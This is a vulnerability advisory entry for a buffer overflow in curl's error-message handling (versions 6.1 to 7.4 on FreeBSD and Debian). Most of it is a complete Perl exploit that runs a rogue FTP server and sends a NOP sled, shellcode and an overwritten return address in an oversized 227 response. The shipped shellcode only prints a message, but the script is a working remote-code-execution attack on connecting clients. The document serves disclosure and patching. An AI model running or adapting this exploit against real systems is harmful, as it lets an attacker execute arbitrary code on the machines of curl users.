source: http://www.securityfocus.com/bid/1804/info

Curl is an open-source utility for sending or receiving files using URL syntax. A vulnerability exists in the version of curl included with Debian GNU/Linux 2.2 and FreeBSD (prior to 4.2 release). 

Note that cURL runs on other platforms as well, and earlier versions may be also vulnerable. 

Curl's error-logging feature improperly tests the size of generated error messages, which are sent from a remote host. A malicious remote server could send a maliciously-formed response to a request from curl, designed to exceed the maximum length of the error buffer. The contents of this oversized buffer, when copied onto the stack, can potentially overwrite the calling functions' return address. This can alter the program's flow of execution and result in arbitrary code being run on the client host.

#!/usr/bin/perl
#
# Remote FreeBSD cURL exploit for versions 6.1 - 7.4
#
# Written by zillion (at http://www.safemode.org && http://www.xsnosoft.com)
#
# This exploit may only be used for testing purposes. More information 
# about the used vulnerability can be found on securityfocus:
#
# http://online.securityfocus.com/bid/1804
#
# The shellcode will write "Ha! Owned by a cURL!" to stdout on the system
# running cURL. The extra nops are needed because the buffer, which causes
# the overflow, is altered.
#
# $ ./curl -s ftp://xxx.xxx.xxx.xxx:21/
# Ha! Owned by a cURL! 

use IO::Socket;
use Net::hostent;

########################################################################

$shellcode = 
        "\xeb\x14\x5e\x31\xc0\x6a\x14\x56\x40\x40\x50\xb0\x04\x50\xcd".
        "\x80\x31\xc0\x40\x50\xcd\x80\xe8\xe7\xff\xff\xff\x48\x61\x21".
        "\x20\x4f\x77\x6e\x65\x64\x20\x62\x79\x20\x61\x20\x63\x55\x52".
        "\x4c\x21\x23".

         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

while($_ = $ARGV[0], /^-/) {
    shift;       
    last if /^--$/;
    /^-p/ && do { $port = shift; };
    /^-l/ && do { $list = 1; };
    /^-o/ && do { $offset = shift; };
}


$id     = `id -u`; chop($id);
$size   =  225;
$esp    =  0xbfbffbd4;
$offset =  -140 unless $offset;
$port   =  21 unless $port;

if(!$list || $port > 1024 && $id != 0) {

print <<"TWENTE";

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+

   Usage :  $0 -l 
   Option:  $0 -p <port to listen on>
   Option:  $0 -o <offset>

   Note: low ports require root privileges

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+

TWENTE
exit;

}

for ($i = 0; $i < ($size - length($shellcode)) - 4; $i++) {
    $buffer .= "\x90";
}

$buffer .= $shellcode;
$buffer .= pack('l', ($esp + $offset)); 

print("We are using return address: 0x", sprintf('%lx',($esp - $offset)), "\n");
print "Starting to listen for incomming connections on port $port\n";

my $sock = new IO::Socket::INET (
                                 LocalPort => $port,
                                 Proto => 'tcp',
                                 Listen => 1,
                                 Reuse => 1,
                                );
die "Could not create socket: $!\n" unless $sock;

while($cl = $sock->accept()) {

   $hostinfo = gethostbyaddr($cl->peeraddr);
   printf "[Received connect from %s]\n", $cl->peerhost;
   print $cl "220 Safemode.org FTP server (Version 666) ready.\n";
   print $cl "230 Ok\n";
   print $cl "227 $buffer\n";
   sleep 2;

}